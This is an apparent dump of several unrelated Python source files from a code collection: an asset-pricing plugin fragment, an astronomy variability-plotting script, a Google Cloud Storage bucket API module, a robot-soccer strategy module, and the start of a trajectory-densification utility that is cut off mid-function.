requires=['ventures', 'warehouse'])\ndef assets(**kwargs):\n \"\"\"Updates the devices from Ralph Assets.\"\"\"\n\n date = kwargs['today']\n usages = {\n 'core': get_core_usage(),\n 'power_consumption': get_power_consumption_usage(),\n 'collocation': get_collocation_usage(),\n }\n\n new_assets = total = 0\n for data in get_assets(date):\n if update_assets(\n data,\n date,\n usages,\n ):\n new_assets += 1\n total += 1\n return True, '%d new assets, %d total' % (new_assets, total), kwargs\n","sub_path":"src/ralph_pricing/plugins/collects/assets.py","file_name":"assets.py","file_ext":"py","file_size_in_byte":5811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"334790779","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 29 12:13:52 2018\n\nCode to look at ensemble variability of objects compared to X-ray luminosity,\nwith a split based on hardness ratio\n\n@author: ppxee\n\"\"\"\n\nimport time\nstart = time.time()\n#print(start)\n\n### Import required libraries ###\nimport matplotlib.pyplot as plt #for plotting\nfrom astropy.io import fits #for handling fits\nfrom astropy.table import Table #for handling tables\nimport numpy as np #for handling arrays\n#import math\n#from astropy.stats import median_absolute_deviation\nimport vari_funcs #my module to help run code neatly\nfrom astropy.cosmology import FlatLambdaCDM\nfrom astropy import units as u\nplt.close('all') #close any open plots\n#from numpy.lib.recfunctions import append_fields\n\n### Define cosmology ###\ncosmo = FlatLambdaCDM(H0=70, Om0=0.3)\n#def remove_edges(tbdata):\n# \n# ### Set X limits ###\n# x = tbdata['X_IMAGE_05B']\n# xmask1 = x > 1000\n# xmask2 = x < 24000\n# xmask = xmask1 * xmask2.astype(bool)\n# tbdata = tbdata[xmask]\n# \n# ### Set Y limits ###\n# y = tbdata['Y_IMAGE_05B']\n# ymask1 = y > 1000\n# ymask2 = y < 24000\n# ymask = ymask1 * ymask2.astype(bool)\n# tbdata = tbdata[ymask]\n# \n# return tbdata\n \n#%% Open the fits files and get data ###\nchandata = fits.open('variable_tables/no06_variables_chi30_chandata_DR11data_restframe.fits')[1].data\nxmmdata = fits.open('variable_tables/no06_variables_chi30_xmmdata_DR11data_restframe.fits')[1].data\nfullxray = fits.open('mag_flux_tables/novarys_chanDR11data_restframe_mag_flux_table_best_extra_clean_no06.fits')[1].data\ntbdata = fits.open('variable_tables/no06_variables_chi30_DR11data_restframe.fits')[1].data\nradiodata = fits.open('variable_tables/no06_variables_chi30_radiodata_DR11data_restframe.fits')[1].data\nsigtb = Table.read('sigma_tables/quad_epoch_sigma_table_extra_clean_no06.fits')\n\nposvar = np.linspace(0,2,5000)\n\n#%% create function to do things \ndef get_luminosity_and_flux(tbdata, xmm=False):\n# \n ### Extract magnitude table and error table ###\n flux = vari_funcs.flux5_stacks(tbdata)\n flux, tbdata = vari_funcs.noneg(flux, tbdata)\n tbdata = tbdata[np.nanmean(flux,axis=1)>1e4]\n flux, fluxerr, tbdata = vari_funcs.create_quad_error_array(sigtb, tbdata)\n \n ### Normalise ###\n fluxnorm, fluxerrnorm = vari_funcs.normalise_flux_and_errors(flux, fluxerr)\n \n ### Get absolute magnitude ###\n L = tbdata['M_K_z_p']\n \n return tbdata, L, fluxnorm, fluxerrnorm\n\ndef z_split(tbdata):\n z = tbdata['z_spec']#[mask]\n z[z==-1] = tbdata['z_p'][z==-1]\n tbhigh = tbdata[z > 1.6]\n tblow = tbdata[z <= 1.6]\n return tbhigh, tblow\n#%% Remove edges ###\ntbdata = vari_funcs.remove_edges(tbdata)\nchandata = vari_funcs.remove_edges(chandata)\nxmmdata = vari_funcs.remove_edges(xmmdata)\nfullxray = vari_funcs.remove_edges(fullxray)\nradiodata = vari_funcs.remove_edges(radiodata)\n\n#%% Split by z ###\ntbhigh, tblow = z_split(tbdata)\nxmmhigh, xmmlow = z_split(xmmdata)\nchanhigh, chanlow = z_split(chandata)\nfullhigh, fulllow = z_split(fullxray)\nradiohigh, radiolow = z_split(radiodata)\n\n#xmmz = xmmdata['z_spec']#[mask]\n#xmmz[xmmz==-1] = xmmdata['z_p'][xmmz==-1]\n#xmmhigh = xmmdata[xmmz > 1.6]\n#xmmlow = xmmdata[xmmz <= 1.6]\n#chanz = chandata['z_spec']#[mask]\n#chanz[chanz==-1] = chandata['z_p'][chanz==-1]\n#chanhigh = chandata[chanz > 1.6]\n#chanlow = chandata[chanz <= 1.6]\n#fullz = fullxray['z_spec']#[mask]\n#fullz[fullz==-1] = fullxray['z_p'][fullz==-1]\n#fullhigh = fullxray[fullz > 1.6]\n#fulllow = fullxray[fullz <= 1.6]\n\n#%%\nhigh, highL, highfluxnorm, higherrnorm= get_luminosity_and_flux(tbhigh)\nlow, lowL, lowfluxnorm, lowerrnorm= get_luminosity_and_flux(tblow)\nfullhigh, fullhighL, fullhighfluxnorm, fullhigherrnorm= get_luminosity_and_flux(fullhigh)\nfulllow, fulllowL, fulllowfluxnorm, fulllowerrnorm= get_luminosity_and_flux(fulllow)\nchanhigh, highchanL, highchanfluxnorm, highchanerrnorm= get_luminosity_and_flux(chanhigh)\nchanlow, lowchanL, lowchanfluxnorm, lowchanerrnorm= get_luminosity_and_flux(chanlow)\nxmmhigh, highxmmL, highxmmfluxnorm, highxmmerrnorm = get_luminosity_and_flux(xmmhigh, xmm=True)\nxmmlow, lowxmmL, lowxmmfluxnorm, lowxmmerrnorm = get_luminosity_and_flux(xmmlow, xmm=True)\nradiohigh, highradioL, highradiofluxnorm, highradioerrnorm= get_luminosity_and_flux(radiohigh)\nradiolow, lowradioL, lowradiofluxnorm, lowradioerrnorm= get_luminosity_and_flux(radiolow)\n\n#%% get sig values\nnumobs = np.shape(highfluxnorm)[0]\nmeanflux = np.nanmean(highfluxnorm, axis=1)\nhighout = np.array([vari_funcs.maximum_likelihood(highfluxnorm[n,:], \n higherrnorm[n,:], meanflux[n], \n posvar) for n in range(numobs)])\n\nnumobs = np.shape(lowfluxnorm)[0]\nmeanflux = np.nanmean(lowfluxnorm, axis=1)\nlowout = np.array([vari_funcs.maximum_likelihood(lowfluxnorm[n,:], \n lowerrnorm[n,:], meanflux[n], \n posvar) for n in range(numobs)])\nnumobs = np.shape(fullhighfluxnorm)[0]\nmeanflux = np.nanmean(fullhighfluxnorm, axis=1)\nfullhighout = np.array([vari_funcs.maximum_likelihood(fullhighfluxnorm[n,:], \n fullhigherrnorm[n,:], meanflux[n], \n posvar) for n in range(numobs)])\n\nnumobs = np.shape(fulllowfluxnorm)[0]\nmeanflux = np.nanmean(fulllowfluxnorm, axis=1)\nfulllowout = np.array([vari_funcs.maximum_likelihood(fulllowfluxnorm[n,:], \n fulllowerrnorm[n,:], meanflux[n], \n posvar) for n in range(numobs)])\nnumobs = np.shape(highchanfluxnorm)[0]\nmeanflux = np.nanmean(highchanfluxnorm, axis=1)\nhighchanout = np.array([vari_funcs.maximum_likelihood(highchanfluxnorm[n,:], \n highchanerrnorm[n,:], meanflux[n], \n posvar) for n in range(numobs)])\n\nnumobs = np.shape(lowchanfluxnorm)[0]\nmeanchan = np.nanmean(lowchanfluxnorm, axis=1)\nlowchanout = np.array([vari_funcs.maximum_likelihood(lowchanfluxnorm[n,:], \n lowchanerrnorm[n,:], meanchan[n], \n posvar) for n in range(numobs)])\n\nnumobs = np.shape(highxmmfluxnorm)[0]\nmeanfull = np.nanmean(highxmmfluxnorm, axis=1)\nhighxmmout = np.array([vari_funcs.maximum_likelihood(highxmmfluxnorm[n,:], \n highxmmerrnorm[n,:], meanfull[n], \n posvar) for n in range(numobs)])\n\nnumobs = np.shape(lowxmmfluxnorm)[0]\nmeanfull = np.nanmean(lowxmmfluxnorm, axis=1)\nlowxmmout = np.array([vari_funcs.maximum_likelihood(lowxmmfluxnorm[n,:], \n lowxmmerrnorm[n,:], meanfull[n], \n posvar) for n in range(numobs)])\n#numobs = np.shape(highradiofluxnorm)[0]\n#meanflux = np.nanmean(highradiofluxnorm, axis=1)\n#highradioout = np.array([vari_funcs.maximum_likelihood(highradiofluxnorm[n,:], \n# highradioerrnorm[n,:], meanflux[n], \n# posvar) for n in range(numobs)])\n#\n#numobs = np.shape(lowradiofluxnorm)[0]\n#meanflux = np.nanmean(lowradiofluxnorm, axis=1)\n#lowradioout = np.array([vari_funcs.maximum_likelihood(lowradiofluxnorm[n,:], \n# lowradioerrnorm[n,:], meanflux[n], \n# posvar) for n in range(numobs)])\n\n#%% Combine into single data set ###\nhL = np.append(highchanL, highxmmL)\nhsig = np.append(highchanout[:,0],highxmmout[:,0])\nhsigerr = np.append(highchanout[:,1],highxmmout[:,1])\nlL = np.append(lowchanL, lowxmmL)\nlsig = np.append(lowchanout[:,0], lowxmmout[:,0])\nlsigerr = np.append(lowchanout[:,1], lowxmmout[:,1])\n\n#%% Plot results ###\nplt.figure(figsize=[12,7])\nplt.subplot(121)\nplt.plot(fulllowL, fulllowout[:,0],'o', color='tab:grey', label='X-ray non variable', zorder=1)\nplt.errorbar(fulllowL, fulllowout[:,0], yerr=fulllowout[:,1], fmt='o', color='tab:grey', zorder=0, alpha=0.2)\nplt.plot(lowL, lowout[:,0], 'bo', label='z <= 1.6', zorder=1)\nplt.errorbar(lowL, lowout[:,0], yerr=lowout[:,1], fmt='bo', zorder=0, alpha=0.2)\n#plt.plot(lL, lsig, 'ro', label='X-ray variable', zorder=1)\n#plt.errorbar(lL, lsig, yerr=lsigerr, fmt='ro', zorder=0, alpha=0.2)\n#plt.plot(lowradioL, lowradioout[:,0], 'ks', markersize=10,mfc='None', label='Radio Source', zorder=3)\n#plt.xscale('log')\nplt.xlabel('K Band Absolute Magnitude')\nplt.ylabel(r'$\\sigma$')\n#plt.ylim(ymin=-0.1,ymax=1.5)\n#plt.xlim(xmin=-29,xmax=-12)\nplt.ylim(ymin=-0.05,ymax=0.35)\nplt.xlim(xmin=-29,xmax=-15)\nplt.gca().invert_xaxis()\nplt.legend()\n\nplt.subplot(122)\nplt.plot(fullhighL, fullhighout[:,0], 'o', color='tab:grey', label='X-ray non variable', zorder=1)\nplt.errorbar(fullhighL, fullhighout[:,0], yerr=fullhighout[:,1], fmt='o', color='tab:grey', zorder=0, alpha=0.2)\nplt.plot(highL, highout[:,0], 'go', label='z > 1.6', zorder=1)\nplt.errorbar(highL, highout[:,0], yerr=highout[:,1], fmt='go', zorder=0, alpha=0.2)\n#plt.plot(hL, hsig, 'ro', label='X-ray variable',zorder=2)\n#plt.errorbar(hL, hsig, yerr=hsigerr, fmt='ro', zorder=0, alpha=0.2)\n#plt.plot(highradioL, highradioout[:,0], 'ks', markersize=10,mfc='None', label='Radio Source', zorder=3)\n#plt.xscale('log')\nplt.xlabel('K Band Absolute Magnitude')\nplt.ylabel(r'$\\sigma$')\n#plt.ylim(ymin=-0.1,ymax=1.5)\n#plt.xlim(xmin=-29,xmax=-12)\nplt.ylim(ymin=-0.05,ymax=0.35)\nplt.xlim(xmin=-29,xmax=-15)\nplt.gca().invert_xaxis()\nplt.legend()\n\nplt.tight_layout()\n#\n#plt.figure(figsize=[12,7])\n#plt.subplot(121)\n#plt.plot(lL, lsig, 'bo', label='z <= 1.6', zorder=1)\n#plt.errorbar(lL, lsig, yerr=lsigerr, fmt='bo', zorder=0, alpha=0.2)\n#plt.xscale('log')\n#plt.xlabel('K Band Luminosity (W)')\n#plt.ylabel(r'$\\sigma$')\n#plt.ylim(ymin=0,ymax=0.25)\n#plt.xlim(xmin=1e37,xmax=1e40)\n#plt.legend()\n#\n#plt.subplot(122)\n#plt.plot(hL, hsig, 'go', label='z > 1.6',zorder=1)\n#plt.errorbar(hL, hsig, yerr=hsigerr, fmt='go', zorder=0, alpha=0.2)\n#plt.xscale('log')\n#plt.xlabel('K Band Luminosity (W)')\n#plt.ylabel(r'$\\sigma$')\n#plt.ylim(ymin=0,ymax=0.25)\n#plt.xlim(xmin=1e37,xmax=1e40)\n#plt.legend()\n#plt.tight_layout()\n\n\nend = time.time()\nprint(end-start)\n\n","sub_path":"nir_abmag_z_sigma_properties.py","file_name":"nir_abmag_z_sigma_properties.py","file_ext":"py","file_size_in_byte":10462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"535237564","text":"# Copyright 2015 Google Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Methods for interacting with Google Cloud Storage.\n\nAllows interacting with Cloud Storage via user-friendly objects\nrather than via Connection.\n\"\"\"\n\nfrom gcloud.exceptions import NotFound\nfrom gcloud.storage._implicit_environ import get_default_connection\nfrom gcloud.storage._implicit_environ import get_default_project\nfrom gcloud.storage.bucket import Bucket\nfrom gcloud.storage.iterator import Iterator\n\n\ndef lookup_bucket(bucket_name, connection=None):\n \"\"\"Get a bucket by name, returning None if not found.\n\n You can use this if you would rather checking for a None value\n than catching an exception::\n\n >>> from gcloud import storage\n >>> storage.set_defaults()\n >>> bucket = storage.lookup_bucket('doesnt-exist')\n >>> print bucket\n None\n >>> bucket = storage.lookup_bucket('my-bucket')\n >>> print bucket\n \n\n :type bucket_name: string\n :param bucket_name: The name of the bucket to get.\n\n :type connection: :class:`gcloud.storage.connection.Connection` or\n ``NoneType``\n :param connection: Optional. The connection to use when sending requests.\n If not provided, falls back to default.\n\n :rtype: :class:`gcloud.storage.bucket.Bucket`\n :returns: The bucket matching the name provided or None if not found.\n \"\"\"\n if connection is None:\n connection = get_default_connection()\n\n try:\n return get_bucket(bucket_name, connection=connection)\n except NotFound:\n return None\n\n\ndef get_all_buckets(project=None, connection=None):\n \"\"\"Get all buckets in the project.\n\n This will not populate the list of blobs available in each\n bucket.\n\n >>> from gcloud import storage\n >>> for bucket in storage.get_all_buckets():\n >>> print bucket\n\n This implements \"storage.buckets.list\".\n\n :type project: string\n :param project: Optional. The project to use when listing all buckets.\n If not provided, falls back to default.\n\n :type connection: :class:`gcloud.storage.connection.Connection` or\n ``NoneType``\n :param connection: Optional. The connection to use when sending requests.\n If not provided, falls back to default.\n\n :rtype: iterable of :class:`gcloud.storage.bucket.Bucket` objects.\n :returns: All buckets belonging to this project.\n \"\"\"\n if connection is None:\n connection = get_default_connection()\n if project is None:\n project = get_default_project()\n extra_params = {'project': project}\n return iter(_BucketIterator(connection=connection,\n extra_params=extra_params))\n\n\ndef get_bucket(bucket_name, connection=None):\n \"\"\"Get a bucket by name.\n\n If the bucket isn't found, this will raise a\n :class:`gcloud.storage.exceptions.NotFound`.\n\n For example::\n\n >>> from gcloud import storage\n >>> from gcloud.exceptions import NotFound\n >>> try:\n >>> bucket = storage.get_bucket('my-bucket')\n >>> except NotFound:\n >>> print 'Sorry, that bucket does not exist!'\n\n This implements \"storage.buckets.get\".\n\n :type bucket_name: string\n :param bucket_name: The name of the bucket to get.\n\n :type connection: :class:`gcloud.storage.connection.Connection` or\n ``NoneType``\n :param connection: Optional. The connection to use when sending requests.\n If not provided, falls back to default.\n\n :rtype: :class:`gcloud.storage.bucket.Bucket`\n :returns: The bucket matching the name provided.\n :raises: :class:`gcloud.exceptions.NotFound`\n \"\"\"\n if connection is None:\n connection = get_default_connection()\n\n bucket_path = Bucket.path_helper(bucket_name)\n response = connection.api_request(method='GET', path=bucket_path)\n return Bucket(properties=response, connection=connection)\n\n\ndef create_bucket(bucket_name, project=None, connection=None):\n \"\"\"Create a new bucket.\n\n For example::\n\n >>> from gcloud import storage\n >>> storage.set_defaults()\n >>> bucket = storage.create_bucket('my-bucket')\n >>> print bucket\n \n\n This implements \"storage.buckets.insert\".\n\n :type project: string\n :param project: Optional. The project to use when creating bucket.\n If not provided, falls back to default.\n\n :type bucket_name: string\n :param bucket_name: The bucket name to create.\n\n :type connection: :class:`gcloud.storage.connection.Connection` or\n ``NoneType``\n :param connection: Optional. The connection to use when sending requests.\n If not provided, falls back to default.\n\n :rtype: :class:`gcloud.storage.bucket.Bucket`\n :returns: The newly created bucket.\n :raises: :class:`gcloud.exceptions.Conflict` if\n there is a confict (bucket already exists, invalid name, etc.)\n \"\"\"\n if connection is None:\n connection = get_default_connection()\n if project is None:\n project = get_default_project()\n\n query_params = {'project': project}\n response = connection.api_request(method='POST', path='/b',\n query_params=query_params,\n data={'name': bucket_name})\n return Bucket(properties=response, connection=connection)\n\n\nclass _BucketIterator(Iterator):\n \"\"\"An iterator listing all buckets.\n\n You shouldn't have to use this directly, but instead should use the\n helper methods on :class:`gcloud.storage.connection.Connection`\n objects.\n\n :type connection: :class:`gcloud.storage.connection.Connection`\n :param connection: The connection to use for querying the list of buckets.\n \"\"\"\n\n def __init__(self, connection, extra_params=None):\n super(_BucketIterator, self).__init__(connection=connection, path='/b',\n extra_params=extra_params)\n\n def get_items_from_response(self, response):\n \"\"\"Factory method which yields :class:`.Bucket` items from a response.\n\n :type response: dict\n :param response: The JSON API response for a page of buckets.\n \"\"\"\n for item in response.get('items', []):\n yield Bucket(properties=item, connection=self.connection)\n","sub_path":"gcloud/storage/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":6960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"295044342","text":"from soccersimulator import Vector2D, SoccerState, SoccerAction, Ball\nfrom soccersimulator import Strategy\nfrom soccersimulator.settings import *\nfrom .tools import ToolBox, Comportement, ProxyObj\nimport math\n\nclass Comportements(Comportement):\n\n RUN_COEF = maxPlayerAcceleration\n GO_COEF = maxPlayerAcceleration/3.\n COEF_DRIBLE= 0.47\n BIG_SHOOT_COEF = 2\n SHOOT_COEF = maxPlayerShoot/3.\n THROW_COEF = maxPlayerShoot\n COEF_ANGLE = math.pi/5\n\n def __init__(self,state):\n super(Comportements,self).__init__(state)\n \n def run(self,p):\n return SoccerAction(acceleration=(p-self.playerPos).normalize()*self.RUN_COEF)\n \n def go(self,p):\n return SoccerAction(acceleration=(p-self.playerPos).normalize()*self.GO_COEF)\n \n def shoot(self, acc):\n if self.canShoot:\n return SoccerAction(shoot=(self.vecTheirGoal -self.ballPos).normalize()*acc)\n return SoccerAction()\n \n def bigshoot(self):\n \tif self.canShoot:\n \t\treturn SoccerAction(shoot=(self.vecTheirGoal -self.ballPos).normalize()*self.BIG_SHOOT_COEF)\n \treturn SoccerAction()\n \n def degage(self):\n if self.canShoot:\n return SoccerAction(shoot=(self.vecTheirGoal -self.ballPos)*self.THROW_COEF)\n return SoccerAction()\n\n def drible (self):\n if self.canShoot:\n return SoccerAction(shoot=(self.vecTheirGoal -self.ballPos).normalize()*self.COEF_DRIBLE)\n return SoccerAction()\n\n def returnToGoal(self):\n return SoccerAction(self.vecMyGoal - self.playerPos) \n\n def goCorner(self):\n \"\"\"\n Retourne le vecteur shoot vers les corners adverse suivant\n la position du joueur. s'il est en bas il ira dans le corner \n adverse du bas et inversement \n \"\"\"\n COEF_CORNERX=0.2\n COEF_CORNERY=0.2\n if (self.myTeam==1):\n if (self.ballPos.y < self.height/2):\n return SoccerAction(shoot=Vector2D(self.width*(1-COEF_GOCORNERX), self.height*COEF_CORNERY-self.playerPos))\n else:\n return SoccerAction(shoot=Vector2D(self.width*(1-COEF_GOCORNERX), self.height*(1-COEF_CORNERY)-self.playerPos))\n else:\n if(self.ballPos.y self.height/2:\n nbup=nbup+1\n \n if mate.y < self.height/2:\n nbdown=nbdown+1\n\n if nbup>nbdown:\n return SoccerAction(acceleration= (Vector2D((self.id_team-1)*self.width/2 + self.width/4, (self.height*2)/5)\n - self.playerPos).normalize()*self.RUN_COEF)\n if nbdown>nbup:\n return SoccerAction(acceleration= (Vector2D((self.id_team-1)*self.width/2 + self.width/4, (self.height*3)/5)\n - self.playerPos).normalize()*self.RUN_COEF)\n else:\n return SoccerAction(acceleration= (Vector2D((self.id_team-1)*self.width/2 + self.width/5, (self.height)/2)\n - self.playerPos).normalize()*self.RUN_COEF)\n\n\n def runBallPredicted(self, n=0):\n pos_ballspeed = self.ballSpeed\n pos_ballspeed.scale(n)\n pos_ball= self.ballPos + pos_ballspeed\n\n return SoccerAction((pos_ball - self.playerPos))\n\n def playerPosPredicted(self, player, n=0):\n pos_playerspeed = player.playerSpeed\n pos_playerspeed.scale(n)\n pos_player= player.playerPos + pos_playerspeed\n\n return SoccerAction(shoot=(pos_player - self.playerPos))\n\n def passToMostCloseMate(self, coop):\n \n mate = self.mostCloseMate(coop)\n #[self.playerPos.distance(m)for m in mates if m!=self.playerPos]\n #print (\"....pass....\",self.playerPos,mate,(self.playerPos-mate.normalize)()*5)\n return SoccerAction(shoot=(mate-self.playerPos).normalize()*5)\n\n def dribble_bypassed (self, opponent):\n\n if not self.forwardOpp:\n return self.shoot(3)\n\n else:\n VecOpp=self.mostCloseOppforward(opponent)\n vecMe_opp=VecOpp - self.playerPos\n currentAngle= vecMe_opp.angle - (self.vecTheirGoal-self.playerPos).angle \n \n\n if vecMe_opp.norm>40 or (currentAngle)>self.COEF_ANGLE or not self.forward(VecOpp):\n return self.shoot(3)\n \n elif currentAngle > 0:\n return SoccerAction(shoot = Vector2D(angle =vecMe_opp.angle- self.COEF_ANGLE, norm = 0.8))\n\n else:\n return SoccerAction(shoot = Vector2D(angle =vecMe_opp.angle+ self.COEF_ANGLE, norm = 0.8))\n\n\"\"\"\n\n [COMPORTMENTS CONDITIONS FOR PLAYERS STRATEGIES] \n\n\"\"\"\n\n#############################################################\n\nclass ConditionGoal(ProxyObj):\n def __init__(self,state):\n super(ConditionGoal,self).__init__(state)\n\n def inGoalZone(self):\n return (self.myGoalBall_distance<40)\n\n def inGoal(self):\n coordx= self.playerPos.x\n coordy= self.playerPos.y\n target = 0 if self.id_team == 1 else 1\n\n return ((((target == 0)and (coordx<=10))|\n ((target == 1) and(coordx>140))) \n and (coordy<=50 and coordy>=40))\n\n#############################################################\n\nclass ConditionDribleur(ProxyObj):\n COEF_DISTMIN=60\n COEF_BALL = 0.1\n def __init__(self,state):\n super(ConditionDribleur,self).__init__(state)\n\n def attclose_opp(self):\n opp = self.get_opponent\n for players in opp:\n if (self.playerPos.distance(players)<40):\n return True\n return False\n\n def defclose_opp(self):\n opp = self.get_opponent\n for players in opp:\n if (self.playerPos.distance(players)<10):\n return True\n return False\n\n def close_ball(self):\n return self.playerPos.distance(self.ballPos) self.playerPos.x):\n return True\n return False \n\n#############################################################\n\nclass ConditionAttaque(ProxyObj):\n def __init__(self, state, COEF_DIST=0.1):\n super(ConditionAttaque,self).__init__(state)\n self.COEF_DIST = COEF_DIST\t\n def close_goal(self):\n return self.playerPos.distance(self.vecTheirGoal) < self.COEF_DIST*self.width\n\n#############################################################\n\nclass ConditionPoly(ProxyObj):\n COEF_SHOOT = 0.25\n\n def inCamp(self):\n return (((self.myTeam==1) and (self.ballPos.x <= self.width/2))\n | ((self.myTeam==2) and (self.ballPos.x >= self.width/2)))\n\n def oppCloseBall(self):\n opps= self.get_opponent\n for opp in opps:\n if (self.ballPos.distance(opp)<5 \n and opp.x > self.playerPos.x):\n return True\n return False \n\n def close_goal(self):\n return self.playerPos.distance(self.vecTheirGoal)=self.width*(1-self.COEF_CORNER)))\n | (self.myTeam==2) and (self.playerPos.x<= self.width*self.COEF_CORNER))\n\n def mateHaveBall(self, coop):\n mates=coop\n for mate in mates:\n if mate.distance(self.ballPos)< 40:\n return True\n return False\n\n def canPass(self,coop):\n return (((self.myTeam==1) and (self.mostCloseMate(coop).x>=self.width*(1-self.COEF_ATTAC)))\n | (self.myTeam==2) and (self.mostCloseMate(coop).x<= self.width*self.COEF_ATTAC))\n\n\n\"\"\"\n\nSTRATEGIES : CONDITIONS AND COMPORTMENTS \n\n\"\"\"\n\ndef fonceur(I):\n opps=I.get_opponent\n if not I.canShoot:\n return I.run(I.ballPos)\n else:\n if I.close_goal():\n return I.bigshoot()\n else:\n \treturn I.dribble_bypassed(opps)\n\n\ndef versatile (I):\n mates= I.get_mate\n opps = I.get_opponent\n\n if I.inCamp():\n \n\n #if not I.canShoot and (not I.mateHaveBall(mates) or I.defenderbehindopp(mates, opps)):\n if not I.canShoot:\n #if not I.canShoot or not I.mateHaveBall(mates) or (I.mateHaveBall(mates) and I.defenderbehindopp(mates, opps)):\n #if not I.canShoot and (I.defenderbehindopp(mates, opps)):\n if not I.mateHaveBall(mates):\n return I.runBallPredicted(5)\n\n elif I.defenderbehindopp(mates, opps):\n return I.runBallPredicted(5)\n else:\n return I.returnToCamp()\n \n else:\n if I.forwardOpp() and I.nb_mateplayer>1:\n return I.passToMostCloseMate(mates)\n else:\n return I.shoot(6)\n else:\n if I.nb_mateplayer>1 and not I.mateHaveBall(mates):\n if I.oppCloseBall()and I.forwardOpp():\n return I.returnToCamp()\n else:\n if not I.canShoot:\n return I.runBallPredicted(5)\n\n else:\n if I.close_goal():\n return I.shoot(5)\n else:\n return I.dribble_bypassed(opps)\n else:\n return I.returnToCamp()\n\n\ndef ailier(I):\n mates= I.get_mate\n if I.inCamp:\n if I.mateHaveBall(mates):\n return I.returnToCamp()\n else:\n if not I.canShoot:\n return I.runBallPredicted(2)\n else:\n return I.goCorner()\n else:\n if not I.inCorner():\n if I.canShoot:\n return I.goCorner()\n else:\n I.runBallPredicted(2)\n else:\n if I.canShoot:\n if I.canPass(mates):\n mate=mostCloseMate()\n return I.playerPosPredicted(mate)\n else:\n return I.goCorner()\n\n\ndef dribleur(I):\n opps=I.get_opponent\n\n if I.canShoot:\n if not I.close_goal():\n return I.dribble_bypassed(opps)\n else:\n return I.shoot(4.5)\n else:\n if I.ballCenter():\n return I.returnToGoal()\n\n else:\n if I.inCamp:\n return I.runBallPredicted(2)\n else:\n return I.runBallPredicted(7)\n\n\ndef goal(I):\n if I.inGoalZone():\n if I.canShoot:\n return I.degage()\n else:\n return I.runBallPredicted(5)\n else:\n if not I.inGoal():\n return I.returnToGoal()\n else:\n return None\n\n\n\ndef defenseur(I):\n if I.ballPos.distance(I.vecMyGoal)>(I.width/2+10) :\n return I.go(I.pos_def)\n \n else:\n if I.canShoot:\n return I.shoot(6)\n else:\n return I.runBallPredicted(5) \n\ndef attaquant(I):\n if I.ballPos.distance(I.vecTheirGoal) <= I.width/2:\n if I.canShoot:\n if I.ballPos.distance(I.vecTheirGoal) <= I.width/3:\n return I.shoot(3.5)\n elif I.ballPos.distance(I.vecTheirGoal) <= I.width/2.91:\n return I.shoot(5)\n else:\n return I.shoot(6)\n else:\n return I.runBallPredicted(5)\n else:\n return I.go(I.pos_att)\n","sub_path":"autres/sebastien/footIA/sousStrats.py","file_name":"sousStrats.py","file_ext":"py","file_size_in_byte":12691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"358343274","text":"import geopandas as gpd \nimport pandas as pd\nfrom shapely.geometry import Polygon,Point\nfrom .grids import GPS_to_grids,grids_centre\nfrom .preprocess import id_reindex\nimport math \nimport numpy as np\n\ndef traj_densify(data,col = ['Vehicleid','Time','Lng','Lat'],timegap = 15):\n '''\n 轨迹点增密,确保每隔timegap秒会有一个轨迹点\n \n 输入\n -------\n data : DataFrame\n 数据\n col : List\n 列名,按[车辆ID,时间,经度,纬度]的顺序\n timegap : number\n 单位为秒,每隔多长时间插入一个轨迹点\n \n 输出\n -------\n data1 : DataFrame\n 处理后的数据\n '''\n Vehicleid,Time,Lng,Lat = col\n data[Time] = pd.to_datetime(data[Time])\n data1 = data.copy()\n data1 = data1.drop_duplicates([Vehicleid,Time])\n data1 = id_reindex(data1,Vehicleid)\n data1 = data1.sort_values(by=[Vehicleid+'_new',Time])\n data1['utctime'] = data1[Time].apply(lambda r:int(r.value/1000000000))\n data1['utctime_new'] = data1[Vehicleid+'_new']*10000000000+data1['utctime']\n a = data1.groupby([Vehicleid+'_new'])['utctime'].min().rename('mintime').reset_index()\n b = data1.groupby([Vehicleid+'_new'])['utctime'].max().rename('maxtime').reset_index()\n minmaxtime = pd.merge(a,b)\n mintime = data1['utctime'].min()\n maxtime = data1['utctime'].max()\n timedata = pd.DataFrame(range(mintime,maxtime,timegap),columns = [Time])\n timedata['tmp'] = 1\n minmaxtime['tmp'] = 1\n minmaxtime = pd.merge(minmaxtime,timedata)\n minmaxtime = minmaxtime[(minmaxtime['mintime']<=minmaxtime[Time])&(minmaxtime['maxtime']>=minmaxtime[Time])]\n minmaxtime['utctime_new'] = minmaxtime[Vehicleid+'_new']*10000000000+minmaxtime[Time]\n minmaxtime[Time] = pd.to_datetime(minmaxtime[Time],unit = 's')\n data1 = pd.concat([data1,minmaxtime[['utctime_new',Time]]]).sort_values(by = ['utctime_new'])\n data1 = data1.drop_duplicates(['utctime_new'])\n data1[Lng] =data1.set_index('utctime_new')[Lng].interpolate(method = 'index').values\n data1[Lat] =data1.set_index('utctime_new')[Lat].interpolate(method = 'index').values\n data1[Vehicleid]=data1[Vehicleid].ffill()\n data1[Vehicleid]=data1[Vehicleid].bfill()\n data1 = data1.drop([Vehicleid+'_new','utctime','utctime_new'],axis = 1)\n return data1\n\ndef points_to_traj(traj_points,col = ['Lng','Lat','ID']):\n '''\n 输入轨迹点,生成轨迹线型的GeoDataFrame\n \n 输入\n -------\n traj_points : DataFrame\n 轨迹点数据\n col : List\n 列名,按[经度,纬度,轨迹编号]的顺序\n\n 输出\n -------\n traj : GeoDataFrame\n 生成的轨迹数据\n '''\n [Lng,Lat,ID] = col \n traj = gpd.GeoDataFrame()\n from shapely.geometry import LineString\n geometry = []\n traj_id = []\n for i in traj_points[ID].drop_duplicates():\n coords = 